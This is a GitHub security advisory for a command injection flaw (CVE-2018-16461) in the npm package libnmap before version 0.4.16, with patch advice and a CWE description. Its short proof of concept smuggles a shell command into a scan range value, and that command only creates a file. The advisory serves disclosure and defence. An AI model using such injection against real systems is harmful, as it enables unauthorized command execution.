Skip to content

Command Injection in libnmap

Moderate severity GitHub Reviewed Published Nov 1, 2018 to the GitHub Advisory Database • Updated Sep 7, 2023

Package

npm libnmap (npm)

Affected versions

< 0.4.16

Patched versions

0.4.16

Description

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

References

Published to the GitHub Advisory Database Nov 1, 2018
Reviewed Jun 16, 2020
Last updated Sep 7, 2023

Severity

Moderate

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(83rd percentile)

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2018-16461

GHSA ID

GHSA-7g2w-6r25-2j7p

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.